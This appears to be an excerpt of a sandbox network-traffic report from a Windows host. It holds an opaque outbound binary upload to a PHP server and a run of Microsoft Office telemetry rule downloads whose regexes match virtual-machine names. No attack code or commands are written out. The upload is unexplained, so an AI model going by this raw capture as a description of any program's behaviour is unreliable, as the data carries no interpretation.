2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: ea 9d bd 86 01 95 ff a2 a9 c9 1a 84 7a 08 68 61 37 3b f1 a7 83 8a b3 1f f9 b9 07 1d ef 2d 18 f1 e5 5f 59 5f 18 5a 78 fd a2 59 6f e5 5c 61 60 c7 23 97 ef 9f 31 19 be 47 29 92 39 d6 eb ea ad 8f 8c 59 5a 1c 11 1b 67 30 16 18 c7 94 f9 80 e1 9c bf 30 40 4c 11 07 d3 c4 02 3e 7f ce a2 ca 8d 8a 85 b1 e9 ba c4 d0 04 e4 d2 67 ef ed 59 66 a5 47 62 9c 36 9a 1a be 6c 03 ad ea 53 43 a9 14 40 3b 32 98 a7 6c 42 26 df cc 7d c8 f9 a2 04 f5 55 49 e0 e5 21 d0 3d 75 8e 7e 60 a0 d8 e9 fa 29 06 ac 9c e1 f8 f8 c0 2c 2c 6d 64 90 6e b4 40 69 61 f4 ab 8e 72 64 07 21 e6 0c 04 dc be 9c 7c 03 4b f9 fa e4 a7 36 2a fc ac a9 5d 58 58 56 d6 27 13 41 9a 25 fc 0a 51 54 6c 70 a9 d5 00 82 2e 2f 46 d6 8d a4 04 e0 f2 45 bc 9e 13 e4 c8 45 a7 c3 b9 80 d2 e4 0a f5 c2 f8 6e a4 7c 55 00 23 ff 8a b8 Data Ascii: zha7;-_Y_ZxYo\a`#1G)9YZg00@L>gYfGb6lSC@;2lB&}UI!=u~`),,mdn@iard!\|K6*]XXV'A%QTlp./FEEn\|U#
2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: 0d 31 79 e1 45 cc 56 ee 8a 79 1c 35 ae 66 6d 35 4e 67 7e 83 2e 80 3d 7c 32 49 a2 0a 9f 1f d7 44 f4 65 0b 70 4d 9f 3a 83 21 10 a4 a1 b4 3a 8a 5c b6 d0 ea ed af ca 32 b0 21 77 e6 12 26 4d cf 18 43 ce 82 ba cb 98 8a e0 32 59 fc d5 82 b1 31 de 31 55 0b 25 b2 3c a5 e7 0e ae 42 00 31 0b b1 04 c0 f5 18 3e fa 59 1e e4 45 d1 b0 0c 8b e0 b8 33 04 54 98 22 af d7 b1 ea 93 f3 a6 f0 ff 98 d4 4c 88 3a 34 73 f8 a7 cc a8 c2 64 c1 22 7f 3e ee 4f 88 d1 fd a2 9e 2e 23 ea ff 9a 57 bd 77 dd 2e 27 e0 2e 3a e2 37 6e db e4 7f 8d 3a f1 a4 10 15 11 af fc 70 5d 6f 9a 26 05 91 0f c1 d5 8e c0 48 41 90 b2 3b 06 d9 f1 ff f8 42 d7 79 09 cd df 3d 2d ba e4 06 1f 5e a3 52 c3 9e 89 d7 44 be ae e7 02 4a ab 6d 70 ea c6 7c 13 c9 da 70 ff 27 3f 3c b2 6a e9 31 8f 62 6d 28 5d 8f aa 26 ec e6 59 87 Data Ascii: 1yEVy5fm5Ng~.=\|2IDepM:!:\2!w&MC2Y11U%<B1>YE3T"L:4sd">O.#Ww.'.:7n:p]o&HA;By=-^RDJmp\|p'?<j1bm(]&Y
2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: 07 11 d7 9d 05 a2 ff 6a f7 48 8f b2 a0 f8 67 55 f9 1b 7d ba 7b ff d6 48 0f e5 da 65 60 08 6a 0a 5e fc e7 6d f6 d5 51 83 cf 58 5c 64 5e 12 a4 30 15 2c b7 76 34 bf 3b 8c 13 97 30 df bb a2 4e d9 d5 6f ac a4 12 c7 8f b0 76 f8 d2 16 18 f8 9d bc 05 3f 75 26 7c a7 1e 4c 3d 94 42 63 8d ba a8 af f4 4c bc 4a 07 4d 1f 3b ee ef 9e 1b 99 98 cc ab 59 a1 cc a6 b2 6b d3 23 59 25 a3 01 4c c5 74 cf 21 b6 74 dc 6e 38 22 bf b4 ef 91 3f 63 d0 61 de 9e 0a 5f 96 72 ef 4c f6 d4 ad 5c 90 b5 75 da 8b ff 42 a9 b6 f2 b1 a6 0d cd 0c 7f 80 c5 6d 73 6e 6d 5d 2e 7f a0 2b 59 36 37 ba b9 db 74 a8 f2 85 9d 9e 68 95 e8 ec b7 8d d1 aa 85 64 66 57 55 9b 17 ab 91 cd 73 74 3c 68 77 32 55 64 3b 23 e3 d1 82 6f 77 ff c4 84 8e 76 f3 2f 6c 73 d3 a1 41 5e ba fa df cd d5 cd bc 44 ee 49 85 83 5f b2 31 Data Ascii: jHgU}{He`j^mQX\d^0,v4;0Nov?u&\|L=BcLJM;Yk#Y%Lt!tn8"?ca_rL\uBmsnm].+Y67thdfWUst<hw2Ud;#owv/lsA^DI_1
2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: a7 4b 1b 25 2c 34 c9 32 38 14 b9 96 a3 8d 96 d4 00 b2 f8 4b e4 98 cd 0b 32 e4 11 86 c4 d2 af 1b b9 f3 99 e1 a5 37 2e 9f 24 af 44 89 87 7b e5 a6 9b 84 89 43 63 2c 83 38 5c 34 25 ff 10 5c 34 61 ac 50 15 19 9c 0a b9 76 3d cb 1f 0c 1d f8 01 a9 29 b4 d7 dd 2b 60 d3 cf a8 c7 04 12 6b 68 cd 50 36 c3 5c 1a 8e 40 f1 0a 13 6b 67 1a 1e 87 72 4f 7e f2 ee 43 a5 46 c0 ee ec 0e 6b b5 cc 6a 45 76 be 85 c5 4a a4 0d cc 05 be af 35 1c 40 44 38 da 06 3c df 4b f3 d8 3c 4b e2 fa 2e 9d 7c d4 e0 b8 06 3d 4b 1c 8e 0c d2 fe a1 26 ba b6 63 7f 7b e5 a4 58 bb d1 bd cb 59 4c 7b fe 8f 8e 98 d0 54 1c a5 d0 76 24 24 17 f3 62 a0 c2 c0 83 e7 e9 85 cb dc 93 81 ee 35 38 fb 88 83 ec 94 14 4e f4 d2 53 88 76 6a e2 14 b5 5a bd 8f d0 45 19 96 d0 e0 e0 57 f4 fd 2b 76 43 5a 95 25 73 2b 67 57 f4 f4 Data Ascii: K%,428K27.$D{Cc,8\4%\4aPv=)+`khP6\@kgrO~CFkjEvJ5@D8<K<K.\|=K&c{XYL{Tv$$b58NSvjZEW+vCZ%s+gW
2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: be 1d e8 b2 2f ef cd 5f 89 bd 0f 37 74 a8 93 a3 60 5c 9c 8e 1c c1 cf ee 5d 3f 96 88 8b e9 12 fa fd 89 6d 3d e1 e4 c2 7e 19 e8 78 15 ae d9 b9 cb 09 0e 87 a3 65 c4 04 36 82 1b 58 aa 52 59 41 7f fe a5 3b 60 69 0b 0d a9 5c 09 61 e8 f9 db 74 84 ff de 7d b3 e6 a2 44 9f 87 98 43 f6 0e 25 b9 0a c5 7b 6a cf 07 34 b4 b1 bd c1 50 fc cd fe 13 d2 cb d4 6d 19 fc f1 ba d5 0e 06 c3 6d 74 82 69 ce 59 01 7b 99 c8 a9 30 85 bb 62 ea 90 ac 7d 70 e7 90 95 d6 3c 9b 7e 88 1b 7f 99 fd 9e 5f 8c e7 13 39 c0 e0 27 f7 84 28 52 8b e6 6d f0 62 b3 d2 cb 66 70 08 ec ff b0 45 ed ca d5 b5 6f 87 e1 bd 0a c4 2e 6d d9 44 55 c3 1c 74 e7 eb be 04 2f 07 13 98 9b eb 7d 1e 0a e0 b2 bb 7c 08 a7 98 d1 b5 5e 13 34 ce 4f 74 12 ae 04 d7 da e0 9d cd be 41 a0 ae 2c cd 5f 75 24 ac b1 96 5a 45 1f 45 3b 5f Data Ascii: /_7t`\]?m=~xe6XRYA;`i\at}DC%{j4PmmtiY{0b}p<~_9'(RmbfpEo.mDUt/}\|^4OtA,_u$ZEE;_
2024-11-15 18:39:30 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d3vta4t463rs16adgtn2gmkifm; expires=Tue, 11-Mar-2025 12:26:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bqLYBu7DJF2df3T581ym4TBuMxN07tGKFDob2mVYY9RzJk1L2W7urNk%2BtgpdAmsYe3mcNJWd09kabDGFWFN37fjH2nYpKxAwp6Bm%2FRwok%2Bvg2Nwt%2Bdry5N8wC2kn3iL43%2Fpzdg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e315d32bc01e767-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18729&sent=312&recv=648&lost=0&retrans=0&sent_bytes=2845&recv_bytes=588806&delivery_rate=154329&cwnd=32&unsent_bytes=0&cid=2325b5f817192ac2&ts=3959&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 574f1a94-c01e-0049-095e-35ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183927Z-1866b5c5fbbccpxfhC1DFWbkng00000001pg00000000784d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 31218528-d01e-0082-6eee-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183927Z-16547b76f7fx6rhxhC1DFW76kg0000000ndg00000000uvd8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 18:39:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:27 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:27 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c8c2adfa-b01e-00ab-59c9-36dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183927Z-164f84587bfjxw6fhC1DFWq94400000001xg00000000009f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:27 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d2524e31-e01e-0052-0da7-34d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183927Z-164f84587bf9nk94hC1DFWerbg00000000kg00000000s2c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 18:39:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:27 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 93022022-f01e-00aa-73a0-368521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183927Z-164f84587bf2rt9xhC1DFW8drg00000001fg00000000ddtz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:27 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:28 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183928Z-16547b76f7fxdzxghC1DFWmf7n0000000nqg000000004m0c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:28 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:28 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183928Z-16547b76f7fwvr5dhC1DFW2c940000000ngg000000002pvw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:28 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183928Z-1866b5c5fbbtpjhjhC1DFWr6tw00000001fg00000000r6ts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:28 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
